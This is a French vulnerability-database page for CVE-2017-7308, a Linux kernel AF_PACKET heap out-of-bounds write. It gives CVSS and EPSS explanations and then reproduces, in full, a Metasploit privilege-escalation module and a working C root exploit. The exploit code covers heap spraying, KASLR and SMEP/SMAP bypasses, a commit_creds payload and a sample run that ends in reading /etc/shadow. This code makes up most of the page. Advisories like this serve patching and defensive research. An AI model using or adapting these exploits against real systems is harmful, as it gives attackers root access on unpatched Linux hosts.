CVE-2017-7308 : Détail

CVE-2017-7308

7.8
/
Haute
Overflow
81.23%V4
Local
2017-03-29
18h00 +00:00
2018-06-19
07h57 +00:00
CVE.org
NVD
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Descriptions du CVE

The packet_set_ring function in net/packet/af_packet.c in the Linux kernel through 4.10.6 does not properly validate certain block-size data, which allows local users to cause a denial of service (integer signedness error and out-of-bounds write), or gain privileges (if the CAP_NET_RAW capability is held), via crafted system calls.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-681 Incorrect Conversion between Numeric Types
When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 44654

Date de publication : 2018-05-17 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'AF_PACKET packet_set_ring Privilege Escalation', 'Description' => %q{ This module exploits a heap-out-of-bounds write in the packet_set_ring function in net/packet/af_packet.c (AF_PACKET) in the Linux kernel to execute code as root (CVE-2017-7308). The bug was initially introduced in 2011 and patched in version 4.10.6, potentially affecting a large number of kernels; however this exploit targets only systems using Ubuntu Xenial kernels 4.8.0 < 4.8.0-46, including Linux distros based on Ubuntu Xenial, such as Linux Mint. The target system must have unprivileged user namespaces enabled and two or more CPU cores. Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation may crash the kernel. This module has been tested successfully on Linux Mint 18 (x86_64) with kernel versions: 4.8.0-34-generic; 4.8.0-36-generic; 4.8.0-39-generic; 4.8.0-41-generic; 4.8.0-42-generic; 4.8.0-44-generic; 4.8.0-45-generic. }, 'License' => MSF_LICENSE, 'Author' => [ 'Andrey Konovalov', # Discovery and C exploit 'Brendan Coles' # Metasploit ], 'DisclosureDate' => 'Mar 29 2017', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'EDB', '41994' ], [ 'CVE', '2017-7308' ], [ 'BID', '97234' ], [ 'URL', 'https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html' ], [ 'URL', 'https://www.coresecurity.com/blog/solving-post-exploitation-issue-cve-2017-7308' ], [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-7308.html', ], [ 'URL', 'https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c' ], [ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/cve-2017-7308/CVE-2017-7308/poc.c' ] ], 'DefaultTarget' => 0)) register_options [ OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." write_file path, data end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data) upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile" end cmd_exec "chmod +x #{path}" end def exploit_data(file) path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-7308', file fd = ::File.open path, 'rb' data = fd.read fd.stat.size fd.close data end def live_compile? return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') if has_gcc? vprint_good 'gcc is installed' return true end unless datastore['COMPILE'].eql? 'Auto' fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' end end def check version = kernel_release unless version =~ /^4\.8\.0-(34|36|39|41|42|44|45)-generic/ vprint_error "Linux kernel version #{version} is not vulnerable" return CheckCode::Safe end vprint_good "Linux kernel version #{version} is vulnerable" arch = kernel_hardware unless arch.include? 'x86_64' vprint_error "System architecture #{arch} is not supported" return CheckCode::Safe end vprint_good "System architecture #{arch} is supported" cores = get_cpu_info[:cores].to_i min_required_cores = 2 unless cores >= min_required_cores vprint_error "System has less than #{min_required_cores} CPU cores" return CheckCode::Safe end vprint_good "System has #{cores} CPU cores" unless userns_enabled? vprint_error 'Unprivileged user namespaces are not permitted' return CheckCode::Safe end vprint_good 'Unprivileged user namespaces are permitted' if kptr_restrict? && dmesg_restrict? vprint_error 'Both kernel.kptr_restrict and kernel.dmesg_destrict are enabled. KASLR bypass will fail.' return CheckCode::Safe end CheckCode::Appears end def exploit if check != CheckCode::Appears fail_with Failure::NotVulnerable, 'Target is not vulnerable' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload exploit executable executable_name = ".#{rand_text_alphanumeric rand(5..10)}" executable_path = "#{base_dir}/#{executable_name}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile executable_path, exploit_data('poc.c') rm_f "#{executable_path}.c" else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx executable_path, exploit_data('exploit') end # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status 'Launching exploit...' output = cmd_exec "#{executable_path} #{payload_path}" output.each_line { |line| vprint_status line.chomp } print_status 'Deleting executable...' rm_f executable_path Rex.sleep 5 print_status 'Deleting payload...' rm_f payload_path end end
Exploit Database EDB-ID : 47168

Date de publication : 2018-12-28 23h00 +00:00
Auteur : bcoles
EDB Vérifié : No

// A proof-of-concept local root exploit for CVE-2017-7308. // Includes a SMEP & SMAP bypass. // Tested on Ubuntu / Linux Mint: // - 4.8.0-34-generic // - 4.8.0-36-generic // - 4.8.0-39-generic // - 4.8.0-41-generic // - 4.8.0-42-generic // - 4.8.0-44-generic // - 4.8.0-45-generic // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308 // // Usage: // user@ubuntu:~$ uname -a // Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ... // user@ubuntu:~$ gcc pwn.c -o pwn // user@ubuntu:~$ ./pwn // [.] starting // [.] system has 2 processors // [.] checking kernel version // [.] kernel version '4.8.0-41-generic' detected // [~] done, version looks good // [.] checking SMEP and SMAP // [~] done, looks good // [.] setting up namespace sandbox // [~] done, namespace sandbox set up // [.] KASLR bypass enabled, getting kernel addr // [.] done, kernel text: ffffffff87000000 // [.] commit_creds: ffffffff870a5cf0 // [.] prepare_kernel_cred: ffffffff870a60e0 // [.] native_write_cr4: ffffffff87064210 // [.] padding heap // [.] done, heap is padded // [.] SMEP & SMAP bypass enabled, turning them off // [.] done, SMEP & SMAP should be off now // [.] executing get root payload 0x401516 // [.] done, should be root now // [.] checking if we got root // [+] got r00t ^_^ // root@ubuntu:/home/user# cat /etc/shadow // root:!:17246:0:99999:7::: // daemon:*:17212:0:99999:7::: // bin:*:17212:0:99999:7::: // ... // // Andrey Konovalov <andreyknvl@gmail.com> // --- // Updated by <bcoles@gmail.com> // - support for systems with SMEP but no SMAP // - check number of CPU cores // - additional kernel targets // - additional KASLR bypasses // https://github.com/bcoles/kernel-exploits/tree/master/CVE-2017-7308 #define _GNU_SOURCE #include <assert.h> #include <fcntl.h> #include <stdarg.h> #include <stdbool.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sched.h> #include <sys/ioctl.h> #include <sys/klog.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/sysinfo.h> #include <sys/types.h> #include <sys/utsname.h> #include <sys/wait.h> #include <arpa/inet.h> #include <linux/if_packet.h> #include <linux/ip.h> #include <linux/udp.h> #include <netinet/if_ether.h> #include <net/if.h> #define DEBUG #ifdef DEBUG # define dprintf printf #else # define dprintf #endif #define ENABLE_KASLR_BYPASS 1 #define ENABLE_SMEP_SMAP_BYPASS 1 char *SHELL = "/bin/bash"; // Will be overwritten if ENABLE_KASLR_BYPASS unsigned long KERNEL_BASE = 0xffffffff81000000ul; // Will be overwritten by detect_versions(). int kernel = -1; struct kernel_info { const char* version; uint64_t commit_creds; uint64_t prepare_kernel_cred; uint64_t native_write_cr4; }; struct kernel_info kernels[] = { { "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x64210 }, { "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x64210 }, { "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x64210 }, { "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x64210 }, { "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x64210 }, { "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x64210 }, { "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x64210 }, }; // Used to get root privileges. #define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) #define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) #define NATIVE_WRITE_CR4 (KERNEL_BASE + kernels[kernel].native_write_cr4) // Will be overwritten if ENABLE_SMEP_SMAP_BYPASS unsigned long CR4_DESIRED_VALUE = 0x406e0ul; #define KMALLOC_PAD 512 #define PAGEALLOC_PAD 1024 // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * typedef uint32_t u32; // $ pahole -C hlist_node ./vmlinux struct hlist_node { struct hlist_node * next; /* 0 8 */ struct hlist_node * * pprev; /* 8 8 */ }; // $ pahole -C timer_list ./vmlinux struct timer_list { struct hlist_node entry; /* 0 16 */ long unsigned int expires; /* 16 8 */ void (*function)(long unsigned int); /* 24 8 */ long unsigned int data; /* 32 8 */ u32 flags; /* 40 4 */ int start_pid; /* 44 4 */ void * start_site; /* 48 8 */ char start_comm[16]; /* 56 16 */ }; // packet_sock->rx_ring->prb_bdqc->retire_blk_timer #define TIMER_OFFSET 896 // pakcet_sock->xmit #define XMIT_OFFSET 1304 // * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * * void packet_socket_rx_ring_init(int s, unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, unsigned int timeout) { int v = TPACKET_V3; int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); if (rv < 0) { dprintf("[-] setsockopt(PACKET_VERSION)\n"); exit(EXIT_FAILURE); } struct tpacket_req3 req; memset(&req, 0, sizeof(req)); req.tp_block_size = block_size; req.tp_frame_size = frame_size; req.tp_block_nr = block_nr; req.tp_frame_nr = (block_size * block_nr) / frame_size; req.tp_retire_blk_tov = timeout; req.tp_sizeof_priv = sizeof_priv; req.tp_feature_req_word = 0; rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); if (rv < 0) { dprintf("[-] setsockopt(PACKET_RX_RING)\n"); exit(EXIT_FAILURE); } } int packet_socket_setup(unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, int timeout) { int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (s < 0) { dprintf("[-] socket(AF_PACKET)\n"); exit(EXIT_FAILURE); } packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout); struct sockaddr_ll sa; memset(&sa, 0, sizeof(sa)); sa.sll_family = PF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); sa.sll_ifindex = if_nametoindex("lo"); sa.sll_hatype = 0; sa.sll_pkttype = 0; sa.sll_halen = 0; int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); if (rv < 0) { dprintf("[-] bind(AF_PACKET)\n"); exit(EXIT_FAILURE); } return s; } void packet_socket_send(int s, char *buffer, int size) { struct sockaddr_ll sa; memset(&sa, 0, sizeof(sa)); sa.sll_ifindex = if_nametoindex("lo"); sa.sll_halen = ETH_ALEN; if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) { dprintf("[-] sendto(SOCK_RAW)\n"); exit(EXIT_FAILURE); } } void loopback_send(char *buffer, int size) { int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (s == -1) { dprintf("[-] socket(SOCK_RAW)\n"); exit(EXIT_FAILURE); } packet_socket_send(s, buffer, size); } int packet_sock_kmalloc() { int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); if (s == -1) { dprintf("[-] socket(SOCK_DGRAM)\n"); exit(EXIT_FAILURE); } return s; } void packet_sock_timer_schedule(int s, int timeout) { packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout); } void packet_sock_id_match_trigger(int s) { char buffer[16]; packet_socket_send(s, &buffer[0], sizeof(buffer)); } // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * #define ALIGN(x, a) __ALIGN_KERNEL((x), (a)) #define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1) #define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask)) #define V3_ALIGNMENT (8) #define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT)) #define ETH_HDR_LEN sizeof(struct ethhdr) #define IP_HDR_LEN sizeof(struct iphdr) #define UDP_HDR_LEN sizeof(struct udphdr) #define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN) int oob_setup(int offset) { unsigned int maclen = ETH_HDR_LEN; unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN + (maclen < 16 ? 16 : maclen)); unsigned int macoff = netoff - maclen; unsigned int sizeof_priv = (1u<<31) + (1u<<30) + 0x8000 - BLK_HDR_LEN - macoff + offset; return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100); } void oob_write(char *buffer, int size) { loopback_send(buffer, size); } void oob_timer_execute(void *func, unsigned long arg) { oob_setup(2048 + TIMER_OFFSET - 8); int i; for (i = 0; i < 32; i++) { int timer = packet_sock_kmalloc(); packet_sock_timer_schedule(timer, 1000); } char buffer[2048]; memset(&buffer[0], 0, sizeof(buffer)); struct timer_list *timer = (struct timer_list *)&buffer[8]; timer->function = func; timer->data = arg; timer->flags = 1; oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2); sleep(1); } void oob_id_match_execute(void *func) { int s = oob_setup(2048 + XMIT_OFFSET - 64); int ps[32]; int i; for (i = 0; i < 32; i++) ps[i] = packet_sock_kmalloc(); char buffer[2048]; memset(&buffer[0], 0, 2048); void **xmit = (void **)&buffer[64]; *xmit = func; oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2); for (i = 0; i < 32; i++) packet_sock_id_match_trigger(ps[i]); } // * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * * void kmalloc_pad(int count) { int i; for (i = 0; i < count; i++) packet_sock_kmalloc(); } void pagealloc_pad(int count) { packet_socket_setup(0x8000, 2048, count, 0, 100); } // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); void get_root_payload(void) { ((_commit_creds)(COMMIT_CREDS))( ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0) ); } // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * #define CHUNK_SIZE 1024 int read_file(const char* file, char* buffer, int max_length) { int f = open(file, O_RDONLY); if (f == -1) return -1; int bytes_read = 0; while (true) { int bytes_to_read = CHUNK_SIZE; if (bytes_to_read > max_length - bytes_read) bytes_to_read = max_length - bytes_read; int rv = read(f, &buffer[bytes_read], bytes_to_read); if (rv == -1) return -1; bytes_read += rv; if (rv == 0) return bytes_read; } } void get_kernel_version(char* output, int max_length) { struct utsname u; int rv = uname(&u); if (rv != 0) { dprintf("[-] uname())\n"); exit(EXIT_FAILURE); } assert(strlen(u.release) <= max_length); strcpy(&output[0], u.release); } #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) #define KERNEL_VERSION_LENGTH 32 void detect_versions() { char version[KERNEL_VERSION_LENGTH]; get_kernel_version(&version[0], KERNEL_VERSION_LENGTH); int i; for (i = 0; i < ARRAY_SIZE(kernels); i++) { if (strcmp(&version[0], kernels[i].version) == 0) { dprintf("[.] kernel version '%s' detected\n", kernels[i].version); kernel = i; return; } } dprintf("[-] kernel version not recognized\n"); exit(EXIT_FAILURE); } #define PROC_CPUINFO_LENGTH 4096 // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP int smap_smep_enabled() { char buffer[PROC_CPUINFO_LENGTH]; char* path = "/proc/cpuinfo"; int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH); if (length == -1) { dprintf("[-] open/read(%s)\n", path); exit(EXIT_FAILURE); } int rv = 0; char* found = memmem(&buffer[0], length, "smep", 4); if (found != NULL) rv += 1; found = memmem(&buffer[0], length, "smap", 4); if (found != NULL) rv += 2; return rv; } void check_smep_smap() { int rv = smap_smep_enabled(); #if !ENABLE_SMEP_SMAP_BYPASS if (rv >= 1) { dprintf("[-] SMAP/SMEP detected, use ENABLE_SMEP_SMAP_BYPASS\n"); exit(EXIT_FAILURE); } #endif switch(rv) { case 1: // SMEP CR4_DESIRED_VALUE = 0x406e0ul; break; case 2: // SMAP CR4_DESIRED_VALUE = 0x407f0ul; break; case 3: // SMEP and SMAP CR4_DESIRED_VALUE = 0x407f0ul; break; } } // * * * * * * * * * * * * * Syslog KASLR bypass * * * * * * * * * * * * * * * #define SYSLOG_ACTION_READ_ALL 3 #define SYSLOG_ACTION_SIZE_BUFFER 10 unsigned long get_kernel_addr_syslog() { dprintf("[.] trying syslog...\n"); int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); if (size == -1) { dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n"); exit(EXIT_FAILURE); } size = (size / getpagesize() + 1) * getpagesize(); char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size); if (size == -1) { dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n"); exit(EXIT_FAILURE); } const char *needle1 = "Freeing SMP"; char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1)); if (substr == NULL) { dprintf("[-] substring '%s' not found in dmesg\n", needle1); exit(EXIT_FAILURE); } for (size = 0; substr[size] != '\n'; size++); const char *needle2 = "ffff"; substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2)); if (substr == NULL) { dprintf("[-] substring '%s' not found in dmesg\n", needle2); exit(EXIT_FAILURE); } char *endptr = &substr[16]; unsigned long r = strtoul(&substr[0], &endptr, 16); r &= 0xfffffffffff00000ul; r -= 0x1000000ul; return r; } // * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * * unsigned long get_kernel_addr_kallsyms() { FILE *f; unsigned long addr = 0; char dummy; char sname[256]; char* name = "startup_64"; char* path = "/proc/kallsyms"; dprintf("[.] trying %s...\n", path); f = fopen(path, "r"); if (f == NULL) { dprintf("[-] open/read(%s)\n", path); return 0; } int ret = 0; while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); return addr; } } fclose(f); dprintf("[-] kernel base not found in %s\n", path); return 0; } // * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * * unsigned long get_kernel_addr_sysmap() { FILE *f; unsigned long addr = 0; char path[512] = "/boot/System.map-"; char version[32]; get_kernel_version(&version[0], 32); strcat(path, &version[0]); dprintf("[.] trying %s...\n", path); f = fopen(path, "r"); if (f == NULL) { dprintf("[-] open/read(%s)\n", path); return 0; } char dummy; char sname[256]; char* name = "startup_64"; int ret = 0; while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); return addr; } } fclose(f); dprintf("[-] kernel base not found in %s\n", path); return 0; } // * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * * unsigned long get_kernel_addr() { unsigned long addr = 0; addr = get_kernel_addr_kallsyms(); if (addr) return addr; addr = get_kernel_addr_sysmap(); if (addr) return addr; addr = get_kernel_addr_syslog(); if (addr) return addr; dprintf("[-] KASLR bypass failed\n"); exit(EXIT_FAILURE); return 0; } // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * void check_procs() { int min_procs = 2; int nprocs = 0; nprocs = get_nprocs_conf(); if (nprocs < min_procs) { dprintf("[-] system has less than %d processor cores\n", min_procs); exit(EXIT_FAILURE); } dprintf("[.] system has %d processors\n", nprocs); } void exec_shell() { int fd; fd = open("/proc/1/ns/net", O_RDONLY); if (fd == -1) { dprintf("error opening /proc/1/ns/net\n"); exit(EXIT_FAILURE); } if (setns(fd, CLONE_NEWNET) == -1) { dprintf("error calling setns\n"); exit(EXIT_FAILURE); } system(SHELL); } void fork_shell() { pid_t rv; rv = fork(); if (rv == -1) { dprintf("[-] fork()\n"); exit(EXIT_FAILURE); } if (rv == 0) { exec_shell(); } } bool is_root() { // We can't simple check uid, since we're running inside a namespace // with uid set to 0. Try opening /etc/shadow instead. int fd = open("/etc/shadow", O_RDONLY); if (fd == -1) return false; close(fd); return true; } void check_root() { dprintf("[.] checking if we got root\n"); if (!is_root()) { dprintf("[-] something went wrong =(\n"); return; } dprintf("[+] got r00t ^_^\n"); // Fork and exec instead of just doing the exec to avoid potential // memory corruptions when closing packet sockets. fork_shell(); } bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { close(fd); return false; } close(fd); return true; } void setup_sandbox() { int real_uid = getuid(); int real_gid = getgid(); if (unshare(CLONE_NEWUSER) != 0) { dprintf("[-] unshare(CLONE_NEWUSER)\n"); exit(EXIT_FAILURE); } if (unshare(CLONE_NEWNET) != 0) { dprintf("[-] unshare(CLONE_NEWUSER)\n"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/setgroups", "deny")) { dprintf("[-] write_file(/proc/self/set_groups)\n"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ dprintf("[-] write_file(/proc/self/uid_map)\n"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { dprintf("[-] write_file(/proc/self/gid_map)\n"); exit(EXIT_FAILURE); } cpu_set_t my_set; CPU_ZERO(&my_set); CPU_SET(0, &my_set); if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { dprintf("[-] sched_setaffinity()\n"); exit(EXIT_FAILURE); } if (system("/sbin/ifconfig lo up") != 0) { dprintf("[-] system(/sbin/ifconfig lo up)\n"); exit(EXIT_FAILURE); } } int main(int argc, char *argv[]) { if (argc > 1) SHELL = argv[1]; dprintf("[.] starting\n"); check_procs(); dprintf("[.] checking kernel version\n"); detect_versions(); dprintf("[~] done, version looks good\n"); dprintf("[.] checking SMEP and SMAP\n"); check_smep_smap(); dprintf("[~] done, looks good\n"); dprintf("[.] setting up namespace sandbox\n"); setup_sandbox(); dprintf("[~] done, namespace sandbox set up\n"); #if ENABLE_KASLR_BYPASS dprintf("[.] KASLR bypass enabled, getting kernel addr\n"); KERNEL_BASE = get_kernel_addr(); dprintf("[.] done, kernel text: %lx\n", KERNEL_BASE); #endif dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS); dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); #if ENABLE_SMEP_SMAP_BYPASS dprintf("[.] native_write_cr4: %lx\n", NATIVE_WRITE_CR4); #endif dprintf("[.] padding heap\n"); kmalloc_pad(KMALLOC_PAD); pagealloc_pad(PAGEALLOC_PAD); dprintf("[.] done, heap is padded\n"); #if ENABLE_SMEP_SMAP_BYPASS dprintf("[.] SMEP & SMAP bypass enabled, turning them off\n"); oob_timer_execute((void *)(NATIVE_WRITE_CR4), CR4_DESIRED_VALUE); dprintf("[.] done, SMEP & SMAP should be off now\n"); #endif dprintf("[.] executing get root payload %p\n", &get_root_payload); oob_id_match_execute((void *)&get_root_payload); dprintf("[.] done, should be root now\n"); check_root(); while (1) sleep(1000); return 0; }
Exploit Database EDB-ID : 41994

Date de publication : 2017-05-10 22h00 +00:00
Auteur : Andrey Konovalov
EDB Vérifié : Yes

